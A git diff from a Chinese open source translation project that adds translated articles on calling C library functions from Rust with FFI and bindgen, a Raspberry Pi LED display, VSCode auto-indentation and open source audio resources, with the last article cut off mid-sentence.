"Marty Kalin https://opensource.com/users/mkalindepauledu" +[#]: collector: "lkxed" +[#]: translator: "yzuowei" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15353-1.html" + +从 Rust 调用 C 库函数 +====== + +![][0] + +> Rust FFI 和 bindgen 工具是为 Rust 调用 C 库而设计的。Rust 很容易与 C 语言对话,从而与任何其它可以与 C 语言对话的语言对话。 + +为什么要从 Rust 调用 C 函数?简短的答案就是软件库。冗长的答案则触及到 C 在众多编程语言中的地位,特别是相对 Rust 而言。C、C++,还有 Rust 都是系统语言,这意味着程序员可以访问机器层面的数据类型与操作。在这三个系统语言中,C 依然占据主导地位。现代操作系统的内核主要是用 C 来写的,其余部分依靠汇编语言补充。在标准系统函数库中,输入与输出、数字处理、加密计算、安全、网络、国际化、字符串处理、内存管理等等,大多都是用 C 来写的。这些函数库所代表的是一个庞大的基础设施,支撑着用其他语言写出来的应用。Rust 发展至今也有着可观的函数库,但是 C 的函数库 —— 自 1970 年代就已存在,迄今还在蓬勃发展 —— 是一种无法被忽视的资源。最后一点是,C 依然还是编程语言中的 [通用语][1]:大部分语言都可以与 C 交流,透过 C,语言之间可以互相交流。 + +### 两个概念证明的例子 + +Rust 支持 FFI(外部函数接口Foreign Function Interface)用以调用 C 函数。任何 FFI 所需要面临的问题是调用方语言是否涵盖了被调用语言的数据类型。例如,`ctypes` 是 Python 调用 C 的 FFI,但是 Python 并没有包括 C 所支持的无符号整数类型。结果就是,`ctypes` 必须寻求解决方案。 + +相比之下,Rust 包含了所有 C 中的原始(即,机器层面)类型。比如说,Rust 中的 `i32` 类对应 C 中的 `int` 类。C 特别声明了 `char` 类必须是一个字节大小,而其他类型,比如 `int`,必须至少是这个大小(LCTT 译注:原文处有评论指出 `int` 大小依照 C 标准应至少为 2 字节);然而如今所有合理的 C 编译器都支持四字节的 `int`,以及八字节的 `double`(Rust 中则是 `f64` 类),以此类推。 + +针对 C 的 FFI 所面临的另一个挑战是:FFI 是否能够处理 C 的裸指针,包括指向被看作是字符串的数组指针。C 没有字符串类型,它通过结合字符组和一个非打印终止符(大名鼎鼎的 _空终止符_)来实现字符串。相比之下,Rust 有两个字符串类型:`String` 和 `&str` (字符串切片)。问题是,Rust FFI 是否能将 C 字符串转化成 Rust 字符串——答案是 _肯定的_。 + +出于对效率的追求,结构体指针在 C 中也很常见。一个 C 结构体在作为一个函数的参数或者返回值的时候,其默认行为是传递值(即,逐字节复制)。C 结构体,如同它在 Rust 中的对应部分一样,可以包含数组和嵌套其他结构体,所以其大小是不定的。结构体在两种语言中的最佳用法是传递或返回引用,也就是说,传递或返回结构体的地址而不是结构体本身的副本。Rust FFI 再一次成功处理了 C 的结构体指针,其在 C 函数库中十分普遍。 + +第一段代码案例专注于调用相对简单的 C 库函数,比如 `abs`(绝对值)和 `sqrt`(平方根)。这些函数使用非指针标量参数并返回一个非指针标量值。第二段代码案例则涉及了字符串和结构体指针,在这里会介绍工具 [bindgen][2],其通过 C 接口(头文件)生成 Rust 代码,比如 `math.h` 以及 `time.h`。C 头文件声明了 C 函数的调用语法,并定义了会被调用的结构体。两段代码都能在 [我的主页上][3] 找到。 + +### 调用相对简单的 C 函数 + +第一段代码案例有四处 Rust 对标准数学库内的 C 函数的调用:两处分别调用了 `abs`(绝对值)和 `pow`(幂),两处重复调用了 `sqrt`(平方根)。这个程序可以直接用 `rustc` 编译器进行构建,或者使用更方便的命令 `cargo build`: + +``` +use std::os::raw::c_int; // 32位 +use std::os::raw::c_double; // 64位 + +// 从标准库 libc 中引入三个函数。 +// 此处是 Rust 对三个 C 函数的声明: +extern "C" { + fn abs(num: c_int) -> c_int; + fn sqrt(num: c_double) -> c_double; + fn pow(num: c_double, power: c_double) -> c_double; +} + +fn main() { + let x: i32 = -123; + println!("\n{x}的绝对值是: {}.", unsafe { abs(x) }); + + let n: f64 = 9.0; + let p: f64 = 3.0; + println!("\n{n}的{p}次方是: {}.", unsafe { pow(n, p) }); + + let mut y: f64 = 64.0; + println!("\n{y}的平方根是: {}.", unsafe { sqrt(y) }); + + y = -3.14; + println!("\n{y}的平方根是: {}.", unsafe { sqrt(y) }); //** NaN = NotaNumber(不是数字) +} +``` + +顶部的两个 `use` 声明是 Rust 的数据类型 `c_int` 和 `c_double`,对应 C 类型里的 `int` 和 `double`。Rust 标准模块 `std::os::raw` 定义了 14 个类似的类型以确保跟 C 的兼容性。模块 `std::ffi` 中有 14 个同样的类型定义,以及对字符串的支持。 + +位于 `main` 函数上的 `extern "C"` 区域声明了 3 个 C 库函数,这些函数会在 `main` 函数内被调用。每次调用都使用了标准的 C 函数名,但每次调用都必须发生在一个 `unsafe` 区域内。正如每个新接触 Rust 的程序员所发现的那样,Rust 编译器极度强制内存安全。其他语言(特别是 C 和 C++)作不出相同的保证。`unsafe` 区域其实是说:Rust 对外部调用中可能存在的不安全行为不负责。 + +第一个程序输出为: + +``` +-123的绝对值是: 123. +9的3次方是: 729. +64的平方根是: 8. +-3.14的平方根是: NaN. +``` + +输出的最后一行的 `NaN` 表示不是数字Not a Number:C 库函数 `sqrt` 期待一个非负值作为参数,这使得参数 `-3.14` 生成了 `NaN` 作为返回值。 + +### 调用涉及指针的 C 函数 + +C 库函数为了提高效率,经常在安全、网络、字符串处理、内存管理,以及其他领域中使用指针。例如,库函数 `asctime`(ASCII 字符串形式的时间)期待一个结构体指针作为其参数。Rust 调用类似 `asctime` 的 C 函数就会比调用 `sqrt` 要更加棘手一些,后者既没有牵扯到指针,也不涉及到结构体。 + +函数 `asctime` 调用的 C 结构体类型为 `struct tm`。一个指向此结构体的指针会作为参数被传递给库函数 `mktime`(时间作为值)。此结构体会将时间拆分成诸如年、月、小时之类的单位。此结构体的字段field类型为 `time_t`,是 `int`(32位)和 `long`(64 位)的别名。两个库函数将这些破碎的时间片段组合成了一个单一值:`asctime` 返回一个以字符串表示的时间,而 `mktime` 返回一个 `time_t` 值表示自 “[纪元][4]Epoch 以来所经历的秒数,这是一个系统的时钟和时间戳的相对时间。典型的纪元设置为 1900 年或 1970 年,1 月 1 日 0 时 0 分 0 秒。(LCTT 校注:Unix、Linux 乃至于如今所有主要的计算机和网络的时间纪元均采用 1970 年为起点。) + +以下的 C 程序调用了 `asctime` 和 `mktime`,并使用了其他库函数 `strftime` 来将 `mktime` 的返回值转化成一个格式化的字符串。这个程序可被视作 Rust 对应版本的预热: + +``` +#include +#include + +int main () { + struct tm sometime; /* 时间被打破细分 */ + char buffer[80]; + int utc; + + sometime.tm_sec = 1; + sometime.tm_min = 1; + sometime.tm_hour = 1; + sometime.tm_mday = 1; + sometime.tm_mon = 1; + sometime.tm_year = 1; /*LCTT 校注:注意,相对于 1900 年的年数*/ + sometime.tm_hour = 1; + sometime.tm_wday = 1; + sometime.tm_yday = 1; + + printf("日期与时间: %s\n", asctime(&sometime)); + + utc = mktime(&sometime); + if( utc < 0 ) { + fprintf(stderr, "错误: mktime 无法生成时间\n"); + } else { + printf("返回的整数值: %d\n", utc); + strftime(buffer, sizeof(buffer), "%c", &sometime); + printf("更加可读的版本: %s\n", buffer); + } + + return 0; +} +``` + +程序输出为: + +``` +日期与时间: Fri Feb  1 01:01:01 1901 +返回的整数值: 2120218157 +更加可读的版本: Fri Feb  1 01:01:01 1901 +``` + +(LCTT 译注:如果你尝试在自己电脑上运行这段代码,然后得到了一行关于 `mktime` 的错误信息,然后又在网上随便找了个在线 C 编译器,复制代码然后得到了跟这里的结果有区别但是没有错误的结果,不要慌,我的电脑上也是这样的。导致本地机器上 `mktime` 失败的原因是作者没有设置 `tm_isdst`,这个是用来标记夏令时的标志。[`tm_isdst` 大于零则夏令时生效中,等于零则不生效,小于零标记未知][5]。加入 `sometime.tm_isdst = 0` 或 `= -1` 后应该就能得到跟在线编译器大致一样的结果。不同的地方在于结果第一行我得到的是 `Mon Feb ...`,这个与作者代码中 `sometime.tm_wday = 1` 对应,这里应该是作者**写错了**;第二行我和作者和网上得到的数字都不一样,这大概是合理的,因为这与机器的纪元有关;第三行我跟作者的结果是一样的,1901 年 2 月 1 日也确实是周五,这是因为 [`mktime` 其实会修正时间参数中不合理的地方][6]。至于夏令时具体是如何影响 `mktime` 这个问题,我能查到的只有 `mktime` 的计算受时区影响,更底层的原因我也不知道了。) + +总的来说,Rust 在调用库函数 `asctime` 和 `mktime` 时,必须处理以下两个问题: + +- 将裸指针作为唯一参数传递给每个库函数。 +- 把从 `asctime` 返回的 C 字符串转化为 Rust 字符串。 + +### Rust 调用 asctime 和 mktime + +工具 `bindgen` 会根据类似 `math.h` 和 `time.h` 之类的 C 头文件生成 Rust 支持的代码。下面这个简化版的 `time.h` 就可以用来做例子,简化版与原版主要有两个不同: + +- 内置类型 `int` 被用来取代别名类型 `time_t`。工具 bindgen 可以处理 `time_t` 类,但是会生成一些烦人的警告,因为 `time_t` 不符合 Rust 的命名规范:`time_t` 以下划线区分 `time` 和 `t`;Rust 更偏好驼峰式命名方法,比如 `TimeT`。 +- 出于同样的原因,这里选择 `StructTM` 作为 `struct tm` 的别名。 + +以下是一份简化版的头文件,`mktime` 和 `asctime` 在文件底部: + +``` +typedef struct tm { + int tm_sec; /* 秒 */ + int tm_min; /* 分钟 */ + int tm_hour; /* 小时 */ + int tm_mday; /* 日 */ + int tm_mon; /* 月 */ + int tm_year; /* 年 */ + int tm_wday; /* 星期 */ + int tm_yday; /* 一年中的第几天 */ + int tm_isdst; /* 夏令时 */ +} StructTM; + +extern int mktime(StructTM*); +extern char* asctime(StructTM*); +``` + +`bindgen` 安装好后,`mytime.h` 作为以上提到的头文件,以下命令(`%` 是命令行提示符)可以生成所需的 Rust 代码并将其保存到文件 `mytime.rs`: + +``` +% bindgen mytime.h > mytime.rs +``` + +以下是 `mytime.rs` 中的重要部分: + +``` +/* automatically generated by rust-bindgen 0.61.0 */ + +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct tm { + pub tm_sec: ::std::os::raw::c_int, + pub tm_min: ::std::os::raw::c_int, + pub tm_hour: ::std::os::raw::c_int, + pub tm_mday: ::std::os::raw::c_int, + pub tm_mon: ::std::os::raw::c_int, + pub tm_year: ::std::os::raw::c_int, + pub tm_wday: ::std::os::raw::c_int, + pub tm_yday: ::std::os::raw::c_int, + pub tm_isdst: ::std::os::raw::c_int, +} + +pub type StructTM = tm; + +extern "C" { + pub fn mktime(arg1: *mut StructTM) -> ::std::os::raw::c_int; +} + +extern "C" { + pub fn asctime(arg1: *mut StructTM) -> *mut ::std::os::raw::c_char; +} + +#[test] +fn bindgen_test_layout_tm() { + const UNINIT: ::std::mem::MaybeUninit = ::std::mem::MaybeUninit::uninit(); + let ptr = UNINIT.as_ptr(); + assert_eq!( + ::std::mem::size_of::(), + 36usize, + concat!("Size of: ", stringify!(tm)) + ); + ... +``` + +Rust 结构体 `struct tm`,跟原本在 C 中的一样,包含了 9 个 4 字节的整型字段。这些字段名称在 C 和 Rust 中是一样的。`extern "C"` 区域声明了库函数 `astime` 和 `mktime` 分别需要只一个参数,一个指向可变实例 `StructTM` 的裸指针。(库函数可能会通过指针改变作为参数传递的结构体。) + +`#[test]` 属性下的其余代码是用来测试 Rust 版的时间结构体的布局。通过命令 `cargo test` 可以进行这些测试。问题在于,C 没有规定编译器应该如何对结构体中的字段进行布局。比如说,C 的 `struct tm` 以字段 `tm_sec` 开头用以表示秒;但是 C 不需要编译版本遵循这个排序。不管怎样,Rust 测试应该会成功,而 Rust 对库函数的调用也应如预期般工作。 + +### 设置好第二个案例并开始运行 + +从 `bindgen` 生成的代码不包含 `main` 函数,所以是一个天然的模块。以下是一个 `main` 函数初始化了 `StructTM` 并调用了 `asctime` 和 `mktime`: + +``` +mod mytime; +use mytime::*; +use std::ffi::CStr; + +fn main() { + let mut sometime = StructTM { + tm_year: 1, + tm_mon: 1, + tm_mday: 1, + tm_hour: 1, + tm_min: 1, + tm_sec: 1, + tm_isdst: -1, + tm_wday: 1, + tm_yday: 1 + }; + + unsafe { + let c_ptr = &mut sometime; // 裸指针 + + // 调用,转化,并拥有 + // 返回的 C 字符串 + let char_ptr = asctime(c_ptr); + let c_str = CStr::from_ptr(char_ptr); + println!("{:#?}", c_str.to_str()); + + let utc = mktime(c_ptr); + println!("{}", utc); + } +} +``` + +这段 Rust 代码可以被编译(直接用 `rustc` 或使用 `cargo`)并运行。输出为: + +``` +Ok( +    "Mon Feb  1 01:01:01 1901\n", +) +2120218157 +``` + +对 C 函数 `asctime` 和 `mktime` 的调用必须再一次被放在 `unsafe` 区域内,因为 Rust 编译器无法对这些外部函数的潜在内存安全风险负责。此处声明一下,`asctime` 和 `mktime` 并没有安全风险。调用的两个函数的参数是裸指针 `ptr`,其指向结构体 `sometime` (在stack中)的地址。 + +`asctime` 是两个函数中调用起来更棘手的那个,因为这个函数返回的是一个指向 C `char` 的指针,如果函数返回 `Mon` 那么指针就指向 `M`。但是 Rust 编译器并不知道 C 字符串 (`char` 的空终止数组)的储存位置。是内存里的静态空间?还是heap?`asctime` 函数内用来储存时间的文字表达的数组实际上是在内存的静态空间里。无论如何,C 到 Rust 字符串转化需要两个步骤来避免编译错误: + +- 调用 `Cstr::from_ptr(char_ptr)` 来将 C 字符串转化为 Rust 字符串并返回一个引用储存在变量 `c_str` 中。 +- 对 `c_str.to_str()` 的调用确保了 `c_str` 是所有者。 + +Rust 代码不会增加从 `mktime` 返回的整型值的易读性,这一部分留作课外作业给感兴趣的人去探究。Rust 模板 `chrono::format` 也有一个 `strftime` 函数,它可以被当作 C 的同名函数来使用,两者都是获取时间的文字表达。 + +### 使用 FFI 和 bindgen 调用 C + +Rust FFI 和工具 `bindgen` 都能够出色地协助 Rust 调用 C 库,无论是标准库还是第三方库。Rust 可以轻松地与 C 交流,并透过 C 与其他语言交流。对于调用像 `sqrt` 一样简单的库函数,Rust FFI 表现直截了当,这是因为 Rust 的原始数据类型覆盖了它们在 C 中的对应部分。 + +对于更为复杂的交流 —— 特别是 Rust 调用像 `asctime` 和 `mktime` 一样,会涉及到结构体和指针的 C 库函数 —— `bindgen` 工具是优秀的帮手。这个工具会生成支持代码以及所需要的测试。当然,Rust 编译器无法假设 C 代码对内存安全的考虑会符合 Rust 的标准;因此,Rust 必须在 `unsafe` 区域内调用 C。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/rust-calls-c-library-functions + +作者:[Marty Kalin][a] +选题:[lkxed][b] +译者:[yzuowei](https://github.com/yzuowei) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/mkalindepauledu +[b]: https://github.com/lkxed +[1]: https://baike.baidu.com/item/lingua%20franka/5359711 +[2]: https://github.com/rust-lang/rust-bindgen +[3]: https://condor.depaul.edu/mkalin +[4]: https://baike.baidu.com/item/UNIX时间/8932323 +[5]: https://cplusplus.com/reference/ctime/tm/ +[6]: https://cplusplus.com/reference/ctime/mktime/ +[0]: https://img.linux.net.cn/data/attachment/album/202212/16/110147q4kk0qoqe0e3m6bb.jpg \ No newline at end of file diff --git a/published/202212/20221126.2 ⭐️⭐️ Create a holiday light display with your Raspberry Pi and ping pong balls.md b/published/202212/20221126.2 ⭐️⭐️ Create a holiday light display with your Raspberry Pi and ping pong balls.md new file mode 100644 index 0000000000..bb08ef8d4b --- /dev/null +++ b/published/202212/20221126.2 ⭐️⭐️ Create a holiday light display with your Raspberry Pi and ping pong balls.md @@ -0,0 +1,135 @@ +[#]: subject: "Create a holiday light display with your Raspberry Pi and ping pong balls" +[#]: via: "https://opensource.com/article/22/11/raspberry-pi-holiday-light-display" +[#]: author: "Brian McCafferty https://opensource.com/users/bdm" +[#]: collector: "lkxed" +[#]: translator: "Return7g" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15365-1.html" + +利用树莓派和乒乓球制作一个假日彩灯 +====== + +![][0] + +> 这个树莓派教程用于制作一个可编程的 LED 灯光显示器,非常适合各种技能水平的人。 + +我喜欢圣诞装饰品和灯饰,因此很长一段时间以来我一直想做一个可编程的 LED 项目。最近,我制作了一个由 LED 灯、乒乓球和树莓派 Zero 组成的灯阵列。这个项目相对简单并且具有教学价值,因此我认为它非常值得分享。 + +整个彩灯由我设计,但其中一些灵感也来自 YouTube。你可以在我的 [Git 存储库][1] 中找到源代码和制作说明。 + +### 购物清单 + +- [树莓派 Zero][2] +- [树莓派保护壳][3] +- 5V 2A 的电源线 +- 展架 +- 255 个乒乓球 +- 热熔胶枪和若干热熔胶棒 +- 烙铁 +- 焊锡丝 +- 22 AWG 0.35mm 实芯线 +- 10 米 WS2812(B) LED 灯带(每米 30 像素) +- 万用表 +- 钢丝钳 +- 剥线钳 + +### 设计树莓派的灯光效果 + +这个设计是根据我展框的大小决定的。我在全球速卖通买到了每米 30 像素的灯带,它可以轻松地切成 0.5 米的长度,每条有 15 个 LED 灯。乒乓球的直径是 40 毫米,所以我测量并隔开 40 毫米划了线,LED 灯条放在每隔 40 毫米的中间部分,这就产生了 17 条线。因此我的灯光阵列是 15×17。你可以根据实际情况来调整尺寸。 + +为了给灯带和树莓派供电,我在电路板底部设置了数据线和电源线。我的 LED 灯不需要很多电,所以我使用树莓派 Zero 的 5V 输出 GPIO 为它们供电。当我以 50% 的亮度运行时,这个亮度已经足以在白天和晚上透过我的窗户看到。 + +### 布线 + +我从电路板的底部以之字形开始布线,这使得焊接非常容易,因为每行的末尾不必返回到每行的开头。 + +我的线路大致像这样(为清楚起见,这里进行了简化,实际上它一共有 17 行): + +``` +<---------------\ +                | +/---------------/ +| +\---------------< # 这里连接树莓派 +``` + +### 使用树莓派制作显示屏 + +当设计和布线的工作完成后就可以开始制作显示屏了。 + +我在展板上测量并绘制了线路。我的灯带背面有胶带,所以我只需要取下背衬并将其贴在展板上。我检查了每个灯带的位置和数据线的方向,以确保灯带可以按照树莓派的指令正确串联起来。 + +连接好所有灯带后,我剪下三段长度相同的电线,并将每个灯带末端的电源线、数据线和接地线连接到其上方。 + +![Connect each light strip at the end of each line.][4] + +在线路连接完成后,我检查了每条灯带之间的电源线和地线之间的连接,以确保其连通性。我还检查了是否存在错误的桥接,所以我验证了电源线和地线之间的连接。我还进行了一些测试以确保所有灯都正常点亮(链路测试参阅 [测试代码][5])。 + +完成上述工作后,我开始在乒乓球上剪洞,用剪刀刺入乒乓球的底部,然后剪一个小洞让 LED 灯穿进去。手工不太行,每个球都不太一样,但效果真的很好。我使用的每米 30 个像素的 LED 灯,所以每个 LED 之间有大约 30 毫米的空隙。一个乒乓球是 40 毫米宽,但我不打算开始单独焊接每一个 LED!我想,这是很重要的。首先,我并不擅长焊接(正如我的照片所显示的),而且无论如何,我想“好吧,它们是乒乓球。我可以把它们压在一起!” + +我是这样做的: + +在 LED 灯上滴上热熔胶,然后在 LED 上放了一个乒乓球并按住大约五秒钟,就粘好了一个乒乓球。粘贴下一个乒乓球时我只需要挤着上一个乒乓球,就能让所有乒乓球都变得整齐了。我对它的外观很满意。它还有一个很好的好处,就是掩盖了我糟糕的焊接工作;) + +![It's a tight fit, but the 40mm ping pong balls fit in a 30mm space just fine.][6] + +我继续为余下的乒乓球进行焊接。尽管这个过程中有几个乒乓球被压碎了,但最终还是顺利完成了制作。 + +![255 LEDs and 255 ping pong balls in an array.][7] + +### 测试代码 + +测试代码需要确保所有部件都能正常工作,为此我使用了这个 [Adafruit 指南][8],它以红、绿和蓝点亮每个 LED,然后依次进行循环。我在测试时使用它来确保我连接无误并且焊接正常。 + +在此之后,我在电子表格中设计了一个网格,将每个像素映射到一个网格位置。由于我的像素编号呈之字形排列,因此很难跟踪每个 LED(例如 A1 为 256,B1 为 226)。重新映射网格位置能使得我在构建图像时更容易。 + +在所有准备工作完成之后,我就可以在纸上和电子表格中设计图像,然后编码。于是我开始添加一些动画(使用循环并将像素变为一种颜色,然后变为另一种颜色)。 + +最终的结果还算顺利。 + +![A Christmas gift in LED.][9] + +![Reindeer painted with light.][10] + +![An LED snowflake.][11] + +### 能玩一年的树莓派彩灯 + +我不确定这是否已经完全完成了。自从把它摆放到橱窗里,几乎每个晚上我都会添加一些新的图像和动画。我已经在考虑除夕夜的时候要做成什么样了。它不会像圣诞装饰品一起在圣诞节后被放进储藏室。我只需要在上面显示其它图案,就能使它成为一个能玩一年的彩灯!我的一个朋友推荐了像素版马里奥,这听起来是个好主意! + +我的代码仍然需要完善。例如,我做了一些滚动文本,但当我为文本的每个位置重新绘制时却花了很多时间。我想我可以用循环做一些事情,或者图像库可以帮助更轻松地滚动字母,并使添加文本更容易,而不是在每一步打开和关闭每个像素。 + +这里有一张照片记录了我制作的全过程:[LED 乒乓墙][12]。 + +可以在此处观看它的运行视频:[XMas 灯光展示][13]。 + +这个彩灯最终的效果我非常满意。以后我也会尝试更多利用 LED 彩灯完成的项目。我也鼓励大家亲自动手制作一个这样的彩灯,它会比你想象中更简单。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/raspberry-pi-holiday-light-display + +作者:[Brian McCafferty][a] +选题:[lkxed][b] +译者:[Return7g](https://github.com/Return7g) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/bdm +[b]: https://github.com/lkxed +[1]: https://github.com/bmccafferty/ping-pong-led-wall +[2]: https://shop.pimoroni.com/products/raspberry-pi-zero-wh-with-pre-soldered-header +[3]: https://shop.pimoroni.com/products/pibow-zero-w +[4]: https://opensource.com/sites/default/files/2022-11/IMG_20201126_115520.jpeg +[5]: https://opensource.com#the-code +[6]: https://opensource.com/sites/default/files/2022-11/IMG_20201127_101409.webp +[7]: https://opensource.com/sites/default/files/2022-11/IMG_20201127_160500.webp +[8]: https://learn.adafruit.com/neopixels-on-raspberry-pi/python-usage +[9]: https://opensource.com/sites/default/files/2022-11/IMG_20201127_181931.webp +[10]: https://opensource.com/sites/default/files/2022-11/IMG_20201202_215902.webp +[11]: https://opensource.com/sites/default/files/2022-11/IMG_20201127_215314.webp +[12]: https://projects.bdm.scot/Xmas%20LED%20Wall%202020/ +[13]: https://youtu.be/zc0501GzpMw +[0]: https://img.linux.net.cn/data/attachment/album/202212/20/095754r7q0z001lvx6p600.jpg \ No newline at end of file diff --git a/published/202212/20221127.1 ⭐️ How to Automatically Indent Your Code in Visual Studio Code.md b/published/202212/20221127.1 ⭐️ How to Automatically Indent Your Code in Visual Studio Code.md new file mode 100644 index 0000000000..674924887b --- /dev/null +++ b/published/202212/20221127.1 ⭐️ How to Automatically Indent Your Code in Visual Studio Code.md @@ -0,0 +1,98 @@ +[#]: subject: "How to Automatically Indent Your Code in Visual Studio Code" +[#]: via: "https://itsfoss.com/auto-indent-vs-code/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15335-1.html" + +如何在 VSCode 中自动缩进你的代码 +====== + +![][0] + +代码中的缩进指的是你在代码行的开头处的空格。像其他代码编辑器和 IDE 一样,VSCode 允许你自动缩进你的代码。 + +你可以设置使用制表符或空格或任何你喜欢的缩进方式。 + +听起来不错吧?让我们来看看怎么做。 + +### 在 VSCode 中启用自动缩进 + +你有多种方法可以实现这个目标。在本指南中,我将向你展示三种在 VSCode 中自动缩进代码的方法。 + +#### 方法 1:配置全局用户设置 + +你可以通过命令模式访问全局用户设置。使用 `Ctrl + Shift + P` 来打开命令模式,搜索 `Open User Settings` 并按下回车: + +![access user setting from command pallet in vscode][1] + +它将打开设置。在那里,你需要搜索 `Auto Indent`,并在 “编辑器:自动缩进Editor: Auto Indent” 中选择 “全部Full”: + +![enable auto indent from global user settings in vscode][2] + +接着自动缩进会被启用,并应用于 VSCode 中每个打开的文件。 + +#### 方法 2:在 VSCode 中使用检查器或格式化工具进行自动缩进 + +在这种方法中,你需要添加扩展程序,如代码格式化工具或者检查器,以获得理想的结果。 + +检查器Linter会识别代码中的错误,而格式化工具Formatter只对你的代码进行格式化,使其更具可读性。你可以在 [VSCode 市场][3] 中搜索特定于你的编程语言的代码格式化器。 + +这里有一些我最喜欢的广泛流行语言的代码格式化工具和检查器: + +- [C/C++][4]:适用于 C 和 C++ 编程语言。 +- [PHP][5]:适用于 PHP。 +- [markdownlint][6]:适用于 Markdown 文件。 +- [Python][7]:适用于 Python 编程语言。 +- [ESLint][8]:适用于 JSON 和 javascript。 +- [Beautify][9]: 适用于 JavaScript、JSON、CSS、SASS 和 HTML。 + +当你为你喜欢的编程语言添加了格式化工具,你可以按 `Ctrl + Shift + I` 来格式化代码。 + +同样地,你也可以使用命令模式做同样的事情。按 `Ctrl + Shift + P`,并搜索 `Format document`,然后按下回车。 + +![indent code in VSCode][10] + +#### 方法 3:在保存文件时启用自动缩进功能 + +VSCode 允许你在保存你的代码时,通过一个小小的调整来格式化它。让我告诉你怎么做。 + +按 `Ctrl + ,`,它将打开用户设置提示。在那里,搜索 `Format On Save`。 + +![enable format on save option][11] + +从现在开始,当你保存文件时,你的文件将自动添加缩进。 + +### 总结 + +在本指南中,我解释了如何在 VSCode 中自动添加缩进。我建议使用第二种方法以获得更好的灵活性。 + +我希望你会发现本指南对你有帮助,如果你有任何疑问或建议,请在评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/auto-indent-vs-code/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/11/access-user-setting-from-command-pallet-in-vscode.png +[2]: https://itsfoss.com/wp-content/uploads/2022/11/enable-auto-indent-from-global-user-settings-in-vscode.png +[3]: https://marketplace.visualstudio.com/vscode +[4]: https://marketplace.visualstudio.com/items?itemName=ms-vscode.cpptools +[5]: https://marketplace.visualstudio.com/items?itemName=DEVSENSE.phptools-vscode +[6]: https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-markdownlint +[7]: https://marketplace.visualstudio.com/items?itemName=ms-python.python +[8]: https://marketplace.visualstudio.com/items?itemName=dbaeumer.vscode-eslint +[9]: https://marketplace.visualstudio.com/items?itemName=HookyQR.beautify +[10]: https://itsfoss.com/wp-content/uploads/2022/11/format-document-.gif +[11]: https://itsfoss.com/wp-content/uploads/2022/11/enable-format-on-save-option.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/10/152929zff61fqq13kkpvy8.jpg \ No newline at end of file diff --git a/published/202212/20221128.1 ⭐️⭐️ 3 open source audio tools for creators.md b/published/202212/20221128.1 ⭐️⭐️ 3 open source audio tools for creators.md new file mode 100644 index 0000000000..9bab60b6be --- /dev/null +++ b/published/202212/20221128.1 ⭐️⭐️ 3 open source audio tools for creators.md @@ -0,0 +1,74 @@ +[#]: subject: "3 open source audio tools for creators" +[#]: via: "https://opensource.com/article/22/11/open-source-audio-tools" +[#]: author: "Ruth Cheesley https://opensource.com/users/rcheesley" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15319-1.html" + +3 个面向创作者的开源音频资源 +====== + +![][0] + +> 这些有用的开源资源, 提供了采样声音和音乐旋律。 + +寻找优质的开源音频样本可能是一项挑战。我越来越多地使用开源工具 [Ardour][1] 和以创作者为中心的发行版 Ubuntu Studio,利用业余时间创作音乐。我一直在寻找要包含的特定声音或旋律循环的样本。 + +我熟悉许多查找图像的工具,但直到最近,我才遇到类似的音频资源需求。 + +### 开源声音样本 + +如果你不能自己录制特定的声音,那么寻找特定的声音可能会很困难。有多种资源可用,但在开源许可下提供声音的资源并不多。 + +#### Freesound + +来看看令人难以置信的宝库 [Freesound][2],这是一个 [知识共享][3] 许可的声音协作数据库,你可以在其中浏览、下载甚至贡献。 + +你几乎可以在 Freesound 上找到任何东西,从路上让人昏昏欲睡的旅游巴士的声音到开门关门的声音或幽灵般的尖叫声。虽然 Freesound 主要侧重于声音样本,但网站上也有一些旋律循环。许多声音都是 CC0 许可的,因此从许可证的角度来看,你可以随心所欲地使用它们。但是,并非所有人都如此,因此在使用任何内容之前请检查许可证,因为你可能需要注明创作者的姓名。 + +该站点允许你检查采样率、位深度和通道,因此你可以确保该样本适用于你的作品,并且它具有内置评级系统和下载计数。波形显示可让你在预览之前深入了解声音样本的特性。 + +Freesound 的搜索过滤器不如其他网站强大。声音有时会被分成一组相似的声音,例如 [可怕的噪音][4]。这可以帮助你快速获取一堆相似的声音来播放。样本的质量是可变的,因此你可能需要清理某些样本的音频。如果你觉得无聊,甚至可以选择从数据库中随机选择声音,相信我,有些声音非常随机! Freesound 还有一个社区论坛,你可以参与其中并向他人学习。 + +#### NASA 太空声音 + +如果你正在寻找一些超凡脱俗的声音或想窥探地球与太空之间的对话,[NASA 太空声音数据库][5]可能是个不错的去处。探索各种任务的录音并听取来回的通信是很有趣的,其中一些是有旁白的。一些录音包含来自不同太空任务的不同声音,从毅力号漫游者的火星之声到阿波罗任务的音频。 + +来自 NASA 网站的声音在知识共享类别公共领域标记 1.0 下发布的,这意味着它不受版权法的已知限制。 + +### 音乐创作的旋律循环 + +如果你更关注于创作音乐,你可能正在寻找旋律循环 —— 这是你可以在自己的作品中修改和调整的简短音乐录音。 + +有各种商业来源的样本包,但 [Looperman][6] 